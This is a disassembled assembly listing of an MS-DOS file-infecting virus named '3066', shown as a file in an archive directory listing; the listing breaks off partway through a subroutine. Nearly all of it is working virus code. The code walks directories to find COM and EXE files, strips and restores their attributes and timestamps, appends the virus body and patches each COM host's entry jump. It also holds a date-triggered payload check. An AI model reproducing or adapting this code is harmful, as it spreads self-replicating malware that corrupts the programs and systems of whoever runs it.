home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / 3066.ASM < prev    next >
Assembly Source File  |  1992-03-24  |  41KB  |  1,492 lines

  1.  
  2. PAGE  59,132
  3.  
  4. ;██████████████████████████████████████████████████████████████████████████
  5. ;██                                         ██
  6. ;██                    3066                         ██
  7. ;██                                         ██
  8. ;██      Created:   19-Mar-89                             ██
  9. ;██      Version:                                 ██
  10. ;██      Passes:    5           Analysis Options on: QRS                 ██
  11. ;██                                         ██
  12. ;██                                         ██
  13. ;██████████████████████████████████████████████████████████████████████████
  14.  
  15. .286c
  16.  
  17. data_1e        equ    24h            ; (0000:0024=45h)
  18. data_2e        equ    26h            ; (0000:0026=3D1h)
  19. data_3e        equ    70h            ; (0000:0070=0FF53h)
  20. data_4e        equ    72h            ; (0000:0072=0F000h)
  21. data_5e        equ    80h            ; (0000:0080=1094h)
  22. data_6e        equ    82h            ; (0000:0082=123h)
  23. data_7e        equ    84h            ; (0000:0084=109Eh)
  24. data_8e        equ    86h            ; (0000:0086=123h)
  25. data_9e        equ    90h            ; (0000:0090=156h)
  26. data_10e    equ    92h            ; (0000:0092=44Bh)
  27. data_11e    equ    9Ch            ; (0000:009C=0BCh)
  28. data_13e    equ    0B3h            ; (0000:00B3=1)
  29. data_14e    equ    0C8h            ; (0000:00C8=0DAh)
  30. data_15e    equ    0D1h            ; (0000:00D1=10h)
  31. data_16e    equ    0DFh            ; (0000:00DF=1)
  32. data_17e    equ    0E3h            ; (0000:00E3=1)
  33. data_18e    equ    0EAh            ; (0000:00EA=123h)
  34. data_19e    equ    0ECh            ; (0000:00EC=10DAh)
  35. data_20e    equ    0EEh            ; (0000:00EE=23h)
  36. data_21e    equ    0F1h            ; (0000:00F1=10h)
  37. data_22e    equ    151h            ; (0000:0151=0EAh)
  38. data_23e    equ    153h            ; (0000:0153=0A6F0h)
  39. data_24e    equ    155h            ; (0000:0155=0EAh)
  40. data_25e    equ    449h            ; (0000:0449=3)
  41. data_26e    equ    972h            ; (0000:0972=74h)
  42. data_27e    equ    80h            ; (00AE:0080=0FFh)
  43. data_28e    equ    0A0h            ; (5E5F:00A0=0FFh)
  44. data_29e    equ    0F00h            ; (5E5F:0F00=0FFh)
  45. data_30e    equ    0FA0h            ; (5E5F:0FA0=0FFh)
  46. data_31e    equ    0FF60h            ; (5E5F:FF60=0FFFFh)
  47. data_32e    equ    0E0h            ; (683D:00E0=0FFFFh)
  48. data_33e    equ    0            ; (6FB8:0000=0)
  49. data_34e    equ    4            ; (6FB8:0004=0)
  50. data_35e    equ    5            ; (6FB8:0005=0)
  51. data_36e    equ    87h            ; (6FB8:0087=0)
  52. data_37e    equ    0A0h            ; (6FB8:00A0=0)
  53. data_38e    equ    0DFh            ; (6FB8:00DF=0)
  54. data_39e    equ    0E0h            ; (6FB8:00E0=0)
  55. data_40e    equ    0E2h            ; (6FB8:00E2=0)
  56. data_41e    equ    0E3h            ; (6FB8:00E3=0)
  57. data_42e    equ    0E4h            ; (6FB8:00E4=0)
  58. data_43e    equ    0E6h            ; (6FB8:00E6=0)
  59. data_44e    equ    0E8h            ; (6FB8:00E8=0)
  60. data_45e    equ    0EAh            ; (6FB8:00EA=0)
  61. data_46e    equ    0ECh            ; (6FB8:00EC=0)
  62. data_47e    equ    0EEh            ; (6FB8:00EE=0)
  63. data_48e    equ    0EFh            ; (6FB8:00EF=0)
  64. data_49e    equ    0F1h            ; (6FB8:00F1=0)
  65. data_50e    equ    0F3h            ; (6FB8:00F3=0)
  66. data_51e    equ    0F5h            ; (6FB8:00F5=0)
  67. data_93e    equ    100h            ; (7188:0100=0)
  68. data_94e    equ    0E2h            ; (969B:00E2=0)
  69.  
  70. seg_a        segment    byte public
  71.         assume    cs:seg_a, ds:seg_a
  72.  
  73.  
  74.         org    100h
  75.  
  76. 3066        proc    far
  77.  
  78. start:
  79.         jmp    loc_5            ; (0243)
  80.         db     01h,0B4h
  81. data_54        dw    0CD09h            ; Data table (indexed access)
  82.                         ;  xref 6FB8:0ADC, 0B5E, 0BA4, 0C67
  83.                         ;            0C7B, 0CCB, 0CD4
  84.         db     21h,0B8h, 00h, 4Ch,0CDh, 21h
  85.         db    'This program only exists to beco'
  86.  
  87.  
  88.  
  89.  
  90.  
  91.         db    'me infected - COM version', 0Dh, 0Ah
  92.  
  93.  
  94.  
  95.  
  96.         db    '$'
  97.         db     8Dh, 16h, 0Dh,0FFh,0FFh, 00h
  98.         db     01h, 8Ch
  99. data_56        dw    4D10h            ; Data table (indexed access)
  100.                         ;  xref 6FB8:0270, 02DC, 046C
  101. data_57        dw    6FB8h            ; Data table (indexed access)
  102.                         ;  xref 6FB8:0276, 02E0, 0470
  103. data_58        db    0            ; Data table (indexed access)
  104.                         ;  xref 6FB8:0387, 03C8, 0608, 06A4
  105.         db     8Dh, 16h, 0Dh,0FFh,0FFh, 09h
  106.         db    0CDh, 21h,0B8h, 00h, 4Ch,0CDh
  107.         db    '!This program on', 0Dh, 0Ah, '$'
  108.  
  109.  
  110.  
  111.         db    27 dup (0)
  112.         db     50h, 4Ch, 49h, 43h
  113.         db    60 dup (0)
  114.         db     01h, 3Fh
  115.         db    7 dup (3Fh)
  116.         db     43h, 4Fh, 4Dh, 20h, 00h
  117.         db    7 dup (0)
  118.         db     20h, 96h, 66h,0D7h, 12h, 4Ch
  119.         db     00h, 00h, 00h
  120.         db    'TSTJ3066.COM'
  121.  
  122.         db     00h, 00h, 01h, 3Fh
  123.         db    10 dup (3Fh)
  124.         db     10h, 05h
  125.         db    7 dup (0)
  126.         db     20h,0E9h, 11h,0B5h, 12h,0F6h
  127.         db     48h, 02h, 00h
  128.         db    'CAT-TWO.ARC'
  129.  
  130.         db     00h, 00h, 00h, 00h,0BCh, 0Eh
  131.         db     00h, 00h, 20h, 00h, 72h, 49h
  132.         db     73h, 12h,0EBh, 04h,0DDh, 0Ch
  133.         db     00h, 00h, 00h, 51h, 59h, 8Bh
  134.         db     0Fh, 20h, 00h
  135.         db     56h, 47h, 31h
  136. loc_5:                        ;  xref 6FB8:0100
  137.         jmp    short loc_6        ; (0247)
  138.         db    0F5h, 0Bh
  139. loc_6:                        ;  xref 6FB8:0243
  140.         call    sub_17            ; (08BB)
  141.         call    sub_15            ; (0875)
  142.         mov    ah,19h
  143.         int    21h            ; DOS Services  ah=function 19h
  144.                         ;  get default drive al  (0=a:)
  145.         mov    ds:data_22e[si],si    ; (0000:0151=0EAh)
  146.         add    word ptr ds:data_22e[si],884h    ; (0000:0151=0EAh)
  147.         mov    ds:data_23e[si],cs    ; (0000:0153=0A6F0h)
  148.         mov    ds:data_17e[si],al    ; (0000:00E3=1)
  149.         call    sub_10            ; (076E)
  150.         mov    dl,ds:data_94e[di]    ; (969B:00E2=0)
  151.         mov    ax,ds
  152.         push    cs
  153.         pop    ds
  154.         jnz    loc_8            ; Jump if not zero
  155.         mov    data_56[si],984h    ; (6FB8:0151=4D10h)
  156.         mov    data_57[si],ax        ; (6FB8:0153=6FB8h)
  157.         cmp    dl,0FFh
  158.         je    loc_8            ; Jump if equal
  159.         mov    ah,0Eh
  160.         int    21h            ; DOS Services  ah=function 0Eh
  161.                         ;  set default drive dl  (0=a:)
  162. loc_8:                        ;  xref 6FB8:026E, 027D
  163.         mov    byte ptr ds:[872h][si],80h    ; (6FB8:0872=0FFh)
  164.         mov    word ptr ds:data_48e[si],0    ; (6FB8:00EF=0)
  165.         mov    ah,2Ah            ; '*'
  166.         int    21h            ; DOS Services  ah=function 2Ah
  167.                         ;  get date, cx=year, dx=mon/day
  168.         cmp    cx,7C4h
  169.         jge    loc_9            ; Jump if > or =
  170.         jmp    short loc_12        ; (02C2)
  171.         db    0BDh, 09h,0BCh, 0Eh, 00h
  172. loc_9:                        ;  xref 6FB8:0296
  173.         jg    loc_10            ; Jump if >
  174.         cmp    dh,0Ch
  175.         jl    loc_12            ; Jump if <
  176.         cmp    dl,5
  177.         jl    loc_12            ; Jump if <
  178.         cmp    dl,1Ch
  179.         jl    loc_11            ; Jump if <
  180. loc_10:                        ;  xref 6FB8:029F
  181.         mov    word ptr ds:[877h][si],0FFDCh    ; (6FB8:0877=8EC0h)
  182.         mov    byte ptr ds:[872h][si],88h    ; (6FB8:0872=0FFh)
  183. loc_11:                        ;  xref 6FB8:02AE
  184.         cmp    byte ptr [si+4],0F8h
  185.         nop                ;*ASM fixup - displacement
  186.         jae    loc_13            ; Jump if above or =
  187. loc_12:                        ;  xref 6FB8:0298, 02A4, 02A9, 0356
  188.         mov    byte ptr cs:data_47e[si],0    ; (6FB8:00EE=0)
  189.         jmp    loc_30            ; (0460)
  190.         cmp    byte ptr [si+4],0F8h
  191.         nop                ;*ASM fixup - displacement
  192.         jae    loc_13            ; Jump if above or =
  193.         or    byte ptr ds:[872h][si],4    ; (6FB8:0872=0FFh)
  194. loc_13:                        ;  xref 6FB8:02C0, 02D0
  195.         mov    byte ptr ds:data_38e[si],0    ; (6FB8:00DF=0)
  196.         mov    dx,data_56[si]        ; (6FB8:0151=4D10h)
  197.         mov    ds,data_57[si]        ; (6FB8:0153=6FB8h)
  198.         mov    ax,4300h
  199.         call    sub_1            ; (0436)
  200.         jc    loc_14            ; Jump if carry Set
  201.         mov    cs:data_51e[si],cx    ; (6FB8:00F5=0)
  202.         and    cl,0FEh
  203.         mov    ax,4301h
  204.         call    sub_1            ; (0436)
  205.         jc    loc_14            ; Jump if carry Set
  206.         mov    ax,3D02h
  207.         int    21h            ; DOS Services  ah=function 3Dh
  208.                         ;  open file, al=mode,name@ds:dx
  209.         jc    loc_14            ; Jump if carry Set
  210.         push    cs
  211.         pop    ds
  212.         mov    ds:data_48e[si],ax    ; (6FB8:00EF=0)
  213.         mov    bx,ax
  214.         mov    ax,5700h
  215.         int    21h            ; DOS Services  ah=function 57h
  216.                         ;  get/set file date & time
  217.         mov    ds:data_49e[si],cx    ; (6FB8:00F1=0)
  218.         mov    ds:data_50e[si],dx    ; (6FB8:00F3=0)
  219.         dec    byte ptr [si+4]
  220.         nop                ;*ASM fixup - displacement
  221.         mov    dx,word ptr ds:[880h][si]    ; (6FB8:0880=687h)
  222.         mov    cx,word ptr ds:[882h][si]    ; (6FB8:0882=90h)
  223.         add    dx,4
  224.         nop                ;*ASM fixup - sign extn byte
  225.         adc    cx,0
  226.         mov    ax,4200h
  227.         int    21h            ; DOS Services  ah=function 42h
  228.                         ;  move file ptr, cx,dx=offset
  229. loc_14:                        ;  xref 6FB8:02EA, 02FA, 0301
  230.         push    cs
  231.         pop    ds
  232.         test    byte ptr ds:[872h][si],4    ; (6FB8:0872=0FFh)
  233.         jz    loc_15            ; Jump if zero
  234.         call    sub_3            ; (051F)
  235.         jmp    loc_30            ; (0460)
  236. loc_15:                        ;  xref 6FB8:0337
  237.         xor    dl,dl            ; Zero register
  238.         mov    ah,47h            ; 'G'
  239.         push    si
  240.         add    si,46h
  241.         int    21h            ; DOS Services  ah=function 47h
  242.                         ;  get present dir,drive dl,1=a:
  243.         pop    si
  244.         cmp    byte ptr ds:data_47e[si],0    ; (6FB8:00EE=0)
  245.         jne    loc_16            ; Jump if not equal
  246.         call    sub_2            ; (0444)
  247.         jnc    loc_17            ; Jump if carry=0
  248. loc_16:                        ;  xref 6FB8:034F
  249.         jmp    loc_12            ; (02C2)
  250. loc_17:                        ;  xref 6FB8:0354, 0433
  251.         mov    dx,si
  252.         add    dx,data_36e        ; (6FB8:0087=0)
  253.         mov    ah,1Ah
  254.         int    21h            ; DOS Services  ah=function 1Ah
  255.                         ;  set DTA to ds:dx
  256.         mov    word ptr [si+5],2E2Ah
  257.         mov    word ptr [si+7],4F43h
  258.         mov    word ptr [si+9],4Dh
  259.         mov    ah,4Eh            ; 'N'
  260.         mov    dx,si
  261.         add    dx,5
  262. loc_18:                        ;  xref 6FB8:03A7
  263.         mov    cx,20h
  264.         call    sub_1            ; (0436)
  265.         jc    loc_21            ; Jump if carry Set
  266.         mov    dx,si
  267.         add    dx,0A5h
  268.         mov    data_58[si],0        ; (6FB8:0155=0)
  269.         call    sub_4            ; (0535)
  270.         jc    loc_20            ; Jump if carry Set
  271.         call    sub_3            ; (051F)
  272. loc_19:                        ;  xref 6FB8:039C
  273.         jmp    loc_29            ; (0454)
  274. loc_20:                        ;  xref 6FB8:038F
  275.         cmp    byte ptr ds:data_20e[si],0    ; (0000:00EE=23h)
  276.         jne    loc_19            ; Jump if not equal
  277.         cmp    byte ptr ds:data_24e[si],0    ; (0000:0155=0EAh)
  278.         jne    loc_25            ; Jump if not equal
  279.         mov    ah,4Fh            ; 'O'
  280.         jmp    short loc_18        ; (0379)
  281. loc_21:                        ;  xref 6FB8:037F
  282.         mov    word ptr [si+7],5845h
  283.         mov    word ptr [si+9],45h
  284.         mov    ah,4Eh            ; 'N'
  285.         mov    dx,si
  286.         add    dx,5
  287. loc_22:                        ;  xref 6FB8:03E9
  288.         mov    cx,20h
  289.         call    sub_1            ; (0436)
  290.         jc    loc_25            ; Jump if carry Set
  291.         mov    dx,si
  292.         add    dx,0A5h
  293.         mov    data_58[si],0        ; (6FB8:0155=0)
  294.         call    sub_4            ; (0535)
  295.         jc    loc_24            ; Jump if carry Set
  296.         call    sub_3            ; (051F)
  297. loc_23:                        ;  xref 6FB8:03DE
  298.         jmp    short loc_29        ; (0454)
  299.         db    90h
  300. loc_24:                        ;  xref 6FB8:03D0
  301.         cmp    byte ptr cs:data_47e[si],0    ; (6FB8:00EE=0)
  302.         jne    loc_23            ; Jump if not equal
  303.         cmp    byte ptr ds:data_24e[si],0    ; (0000:0155=0EAh)
  304.         jne    loc_25            ; Jump if not equal
  305.         mov    ah,4Fh            ; 'O'
  306.         jmp    short loc_22        ; (03BA)
  307. loc_25:                        ;  xref 6FB8:03A3, 03C0, 03E5
  308.         call    sub_2            ; (0444)
  309.         mov    dx,si
  310.         add    dx,data_13e        ; (0000:00B3=1)
  311.         mov    ah,1Ah
  312.         int    21h            ; DOS Services  ah=function 1Ah
  313.                         ;  set DTA to ds:dx
  314. loc_26:                        ;  xref 6FB8:0424
  315.         mov    ah,4Fh            ; 'O'
  316.         mov    cx,10h
  317.         cmp    byte ptr ds:data_16e[si],0    ; (0000:00DF=1)
  318.         jne    loc_27            ; Jump if not equal
  319.         mov    byte ptr ds:data_16e[si],1    ; (0000:00DF=1)
  320.         mov    word ptr [si+5],2E2Ah
  321.         mov    word ptr [si+7],2Ah
  322.         mov    ah,4Eh            ; 'N'
  323.         mov    dx,si
  324.         add    dx,5
  325. loc_27:                        ;  xref 6FB8:0402
  326.         call    sub_1            ; (0436)
  327.         jc    loc_29            ; Jump if carry Set
  328.         test    byte ptr ds:data_14e[si],10h    ; (0000:00C8=0DAh)
  329.         jz    loc_26            ; Jump if zero
  330.         mov    dx,si
  331.         add    dx,data_15e        ; (0000:00D1=10h)
  332.         mov    ah,3Bh            ; ';'
  333.         call    sub_1            ; (0436)
  334.         jc    loc_29            ; Jump if carry Set
  335.         jmp    loc_17            ; (0359)
  336.  
  337. 3066        endp
  338.  
  339. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  340. ;                   SUBROUTINE
  341. ;
  342. ;         Called from:     6FB8:02E7, 02F7, 037C, 03BD, 041A, 042E, 0450
  343. ;                  0571, 0582, 058A
  344. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  345.  
  346. sub_1        proc    near
  347.         int    21h            ; DOS Services  ah=function 43h
  348.                         ;  get/set file attrb, nam@ds:dx
  349.         jc    loc_ret_28        ; Jump if carry Set
  350.         test    byte ptr cs:data_47e[si],0FFh    ; (6FB8:00EE=0)
  351.         jz    loc_ret_28        ; Jump if zero
  352.         stc                ; Set carry flag
  353.  
  354. loc_ret_28:                    ;  xref 6FB8:0438, 0440
  355.         retn
  356. sub_1        endp
  357.  
  358.  
  359. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  360. ;                   SUBROUTINE
  361. ;
  362. ;         Called from:     6FB8:0351, 03EB, 0454
  363. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  364.  
  365. sub_2        proc    near
  366.         mov    word ptr [si+5],5Ch
  367.         mov    dx,si
  368.         add    dx,5
  369.         mov    ah,3Bh            ; ';'
  370.         call    sub_1            ; (0436)
  371.         retn
  372. sub_2        endp
  373.  
  374. loc_29:                        ;  xref 6FB8:0394, 03D5, 041D, 0431
  375.         call    sub_2            ; (0444)
  376.         mov    dx,si
  377.         add    dx,46h
  378.         mov    ah,3Bh            ; ';'
  379.         int    21h            ; DOS Services  ah=function 3Bh
  380.                         ;  set current dir, path @ ds:dx
  381. loc_30:                        ;  xref 6FB8:02C8, 033C
  382.         mov    bx,ds:data_48e[si]    ; (6FB8:00EF=0)
  383.         or    bx,bx            ; Zero ?
  384.         jz    loc_32            ; Jump if zero
  385.         mov    cx,ds:data_51e[si]    ; (6FB8:00F5=0)
  386.         mov    dx,data_56[si]        ; (6FB8:0151=4D10h)
  387.         mov    ds,data_57[si]        ; (6FB8:0153=6FB8h)
  388.         cmp    cx,20h
  389.         je    loc_31            ; Jump if equal
  390.         mov    ax,4301h
  391.         int    21h            ; DOS Services  ah=function 43h
  392.                         ;  get/set file attrb, nam@ds:dx
  393. loc_31:                        ;  xref 6FB8:0477
  394.         push    cs
  395.         pop    ds
  396.         mov    cx,ds:data_49e[si]    ; (6FB8:00F1=0)
  397.         mov    dx,ds:data_50e[si]    ; (6FB8:00F3=0)
  398.         mov    ax,5701h
  399.         int    21h            ; DOS Services  ah=function 57h
  400.                         ;  get/set file date & time
  401.         mov    ah,3Eh            ; '>'
  402.         int    21h            ; DOS Services  ah=function 3Eh
  403.                         ;  close file, bx=file handle
  404. loc_32:                        ;  xref 6FB8:0466
  405.         mov    dl,ds:data_41e[si]    ; (6FB8:00E3=0)
  406.         mov    ah,0Eh
  407.         int    21h            ; DOS Services  ah=function 0Eh
  408.                         ;  set default drive dl  (0=a:)
  409.         call    sub_16            ; (089A)
  410.         pop    ax
  411.         mov    ds:data_39e[si],ax    ; (6FB8:00E0=0)
  412.         cmp    byte ptr [si+3],0FFh
  413.         je    loc_33            ; Jump if equal
  414.         add    ax,10h
  415.         add    [si+2],ax
  416.         pop    ax
  417.         pop    ds
  418. ;*        jmp    dword ptr cs:[si]    ;*1 entry
  419.         db    0FFh, 2Ch
  420. loc_33:                        ;  xref 6FB8:04A5
  421.         call    sub_10            ; (076E)
  422.         push    cs
  423.         pop    ds
  424.         mov    ax,[si]
  425.         mov    word ptr ds:[100h],ax    ; (6FB8:0100=40E9h)
  426.         mov    al,[si+2]
  427.         mov    byte ptr ds:[102h],al    ; (6FB8:0102=1)
  428.         jz    loc_34            ; Jump if zero
  429.         mov    bx,ds
  430.         add    bx,1D0h
  431.         mov    es,bx
  432.         mov    di,si
  433.         mov    dx,si
  434.         mov    cx,0BFAh
  435.         call    sub_20            ; (0D32)
  436.         mov    cx,dx
  437.         mov    si,dx
  438.         dec    si
  439.         mov    di,si
  440.         std                ; Set direction flag
  441.         rep    movsb            ; Rep when cx >0 Mov [si] to es:[di]
  442.         push    ds
  443.         pop    es
  444.         mov    di,data_93e        ; (7188:0100=0)
  445.         mov    ds,bx
  446.         mov    si,dx
  447.         mov    cx,0BFAh
  448.         call    sub_20            ; (0D32)
  449.         mov    si,100h
  450.         push    cs
  451.         pop    ds
  452.         call    sub_13            ; (07CD)
  453.         mov    dx,1D0h
  454. loc_34:                        ;  xref 6FB8:04C2
  455.         mov    di,cs
  456.         add    di,dx
  457.         mov    word ptr [si+5],100h
  458.         mov    [si+7],di
  459.         pop    ax
  460.         pop    ds
  461.         mov    ds,di
  462.         mov    es,di
  463.         mov    ss,di
  464.         xor    bx,bx            ; Zero register
  465.         xor    cx,cx            ; Zero register
  466.         xor    bp,bp            ; Zero register
  467. ;*        jmp    dword ptr cs:[si+5]    ;*1 entry
  468.         db    0FFh, 6Ch, 05h
  469. loc_35:                        ;  xref 6FB8:0574, 0585, 058D
  470.         mov    byte ptr cs:data_47e[si],0    ; (6FB8:00EE=0)
  471.         retn
  472.  
  473. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  474. ;                   SUBROUTINE
  475. ;
  476. ;         Called from:     6FB8:0339, 0391, 03D2
  477. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  478.  
  479. sub_3        proc    near
  480.         mov    bx,ds:data_48e[si]    ; (6FB8:00EF=0)
  481.         or    bx,bx            ; Zero ?
  482.         jz    loc_ret_36        ; Jump if zero
  483.         mov    dx,si
  484.         add    dx,data_34e        ; (6FB8:0004=0)
  485.         nop                ;*ASM fixup - sign extn byte
  486.         mov    cx,1
  487.         mov    ah,40h            ; '@'
  488.         int    21h            ; DOS Services  ah=function 40h
  489.                         ;  write file cx=bytes, to ds:dx
  490.  
  491. loc_ret_36:                    ;  xref 6FB8:0525
  492.         retn
  493. sub_3        endp
  494.  
  495.  
  496. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  497. ;                   SUBROUTINE
  498. ;
  499. ;         Called from:     6FB8:038C, 03CD
  500. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  501.  
  502. sub_4        proc    near
  503.         push    dx
  504.         mov    ah,19h
  505.         int    21h            ; DOS Services  ah=function 19h
  506.                         ;  get default drive al  (0=a:)
  507.         add    al,41h            ; 'A'
  508.         mov    ah,3Ah            ; ':'
  509.         mov    word ptr ds:[884h][si],ax    ; (6FB8:0884=8489h)
  510.         mov    byte ptr ds:[886h][si],5Ch    ; (6FB8:0886=0EAh) '\'
  511.         push    si
  512.         add    si,offset ds:[887h]    ; (6FB8:0887=0)
  513.         mov    ah,47h            ; 'G'
  514.         mov    di,si
  515.         xor    dl,dl            ; Zero register
  516.         int    21h            ; DOS Services  ah=function 47h
  517.                         ;  get present dir,drive dl,1=a:
  518.         pop    si
  519.         dec    di
  520. loc_37:                        ;  xref 6FB8:055B
  521.         inc    di
  522.         mov    al,[di]
  523.         or    al,al            ; Zero ?
  524.         jnz    loc_37            ; Jump if not zero
  525.         pop    bx
  526.         mov    byte ptr [di],5Ch    ; '\'
  527.         inc    di
  528.         mov    dx,bx
  529. loc_38:                        ;  xref 6FB8:056C
  530.         mov    al,[bx]
  531.         mov    [di],al
  532.         inc    bx
  533.         inc    di
  534.         or    al,al            ; Zero ?
  535.         jnz    loc_38            ; Jump if not zero
  536.  
  537. ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  538. ;
  539. ;         Called from:     6FB8:097E
  540.  
  541. sub_5:
  542.         mov    ax,4300h
  543.         call    sub_1            ; (0436)
  544.         jc    loc_35            ; Jump if carry Set
  545.         mov    cs:data_42e[si],cx    ; (6FB8:00E4=0)
  546.         and    cx,0FEh
  547.         mov    ax,4301h
  548.         call    sub_1            ; (0436)
  549.         jc    loc_35            ; Jump if carry Set
  550.         mov    ax,3D02h
  551.         call    sub_1            ; (0436)
  552.         jc    loc_35            ; Jump if carry Set
  553.         mov    bx,ax
  554.         push    ds
  555.         push    dx
  556.         call    sub_6            ; (05BD)
  557.         pop    dx
  558.         pop    ds
  559.         pushf                ; Push flags
  560.         mov    cx,cs:data_42e[si]    ; (6FB8:00E4=0)
  561.         cmp    cx,20h
  562.         je    loc_39            ; Jump if equal
  563.         mov    ax,4301h
  564.         int    21h            ; DOS Services  ah=function 43h
  565.                         ;  get/set file attrb, nam@ds:dx
  566. loc_39:                        ;  xref 6FB8:05A1
  567.         mov    cx,cs:data_43e[si]    ; (6FB8:00E6=0)
  568.         mov    dx,cs:data_44e[si]    ; (6FB8:00E8=0)
  569.         mov    ax,5701h
  570.         int    21h            ; DOS Services  ah=function 57h
  571.                         ;  get/set file date & time
  572.         mov    ah,3Eh            ; '>'
  573.         int    21h            ; DOS Services  ah=function 3Eh
  574.                         ;  close file, bx=file handle
  575.         popf                ; Pop flags
  576.         retn
  577. sub_4        endp
  578.  
  579.  
  580. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  581. ;                   SUBROUTINE
  582. ;
  583. ;         Called from:     6FB8:0593
  584. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  585.  
  586. sub_6        proc    near
  587.         mov    ax,5700h
  588.         int    21h            ; DOS Services  ah=function 57h
  589.                         ;  get/set file date & time
  590.         push    cs
  591.         pop    ds
  592.         mov    ds:data_43e[si],cx    ; (6FB8:00E6=0)
  593.         mov    ds:data_44e[si],dx    ; (6FB8:00E8=0)
  594.         mov    dx,si
  595.         add    dx,0Dh
  596.         mov    di,dx
  597.         mov    ah,3Fh            ; '?'
  598.         mov    cx,1Ch
  599.         int    21h            ; DOS Services  ah=function 3Fh
  600.                         ;  read file, cx=bytes, to ds:dx
  601.         cmp    word ptr [di],5A4Dh
  602.         je    loc_42            ; Jump if equal
  603.         call    sub_9            ; (0764)
  604.         add    ax,0CF5h
  605.         jc    loc_ret_40        ; Jump if carry Set
  606.         cmp    byte ptr [di],0E9h
  607.         jne    loc_41            ; Jump if not equal
  608.         mov    dx,[di+1]
  609.         xor    cx,cx            ; Zero register
  610.         mov    ax,4200h
  611.         int    21h            ; DOS Services  ah=function 42h
  612.                         ;  move file ptr, cx,dx=offset
  613.         mov    dx,di
  614.         add    dx,1Ch
  615.         mov    ah,3Fh            ; '?'
  616.         mov    cx,3
  617.         int    21h            ; DOS Services  ah=function 3Fh
  618.                         ;  read file, cx=bytes, to ds:dx
  619.         call    sub_7            ; (06AB)
  620.         jnc    loc_41            ; Jump if carry=0
  621.         mov    cs:data_58[si],1    ; (6FB8:0155=0)
  622.  
  623. loc_ret_40:                    ;  xref 6FB8:05E6
  624.         retn
  625. loc_41:                        ;  xref 6FB8:05EB, 0606
  626.         call    sub_9            ; (0764)
  627.         mov    word ptr ds:[880h][si],ax    ; (6FB8:0880=687h)
  628.         mov    word ptr ds:[882h][si],dx    ; (6FB8:0882=90h)
  629.         push    ax
  630.         mov    word ptr [di+3],0FFFFh
  631.         mov    cx,5
  632.         mov    ah,40h            ; '@'
  633.         mov    dx,di
  634.         int    21h            ; DOS Services  ah=function 40h
  635.                         ;  write file cx=bytes, to ds:dx
  636.         mov    dx,si
  637.         add    dx,5
  638.         mov    cx,0BF5h
  639.         mov    ah,40h            ; '@'
  640.         int    21h            ; DOS Services  ah=function 40h
  641.                         ;  write file cx=bytes, to ds:dx
  642.         mov    ax,4200h
  643.         xor    cx,cx            ; Zero register
  644.         xor    dx,dx            ; Zero register
  645.         int    21h            ; DOS Services  ah=function 42h
  646.                         ;  move file ptr, cx,dx=offset
  647.         mov    byte ptr [di],0E9h
  648.         pop    ax
  649.         add    ax,0F7h
  650.         mov    [di+1],ax
  651.         mov    dx,di
  652.         mov    cx,3
  653.         mov    ah,40h            ; '@'
  654.         int    21h            ; DOS Services  ah=function 40h
  655.                         ;  write file cx=bytes, to ds:dx
  656.         clc                ; Clear carry flag
  657.         retn
  658. loc_42:                        ;  xref 6FB8:05DE
  659.         cmp    word ptr [di+0Ch],0FFFFh
  660.         jne    loc_43            ; Jump if not equal
  661.         push    si
  662.         mov    si,[di+14h]
  663.         mov    cx,[di+16h]
  664.         mov    ax,cx
  665.         mov    cl,ch
  666.         xor    ch,ch            ; Zero register
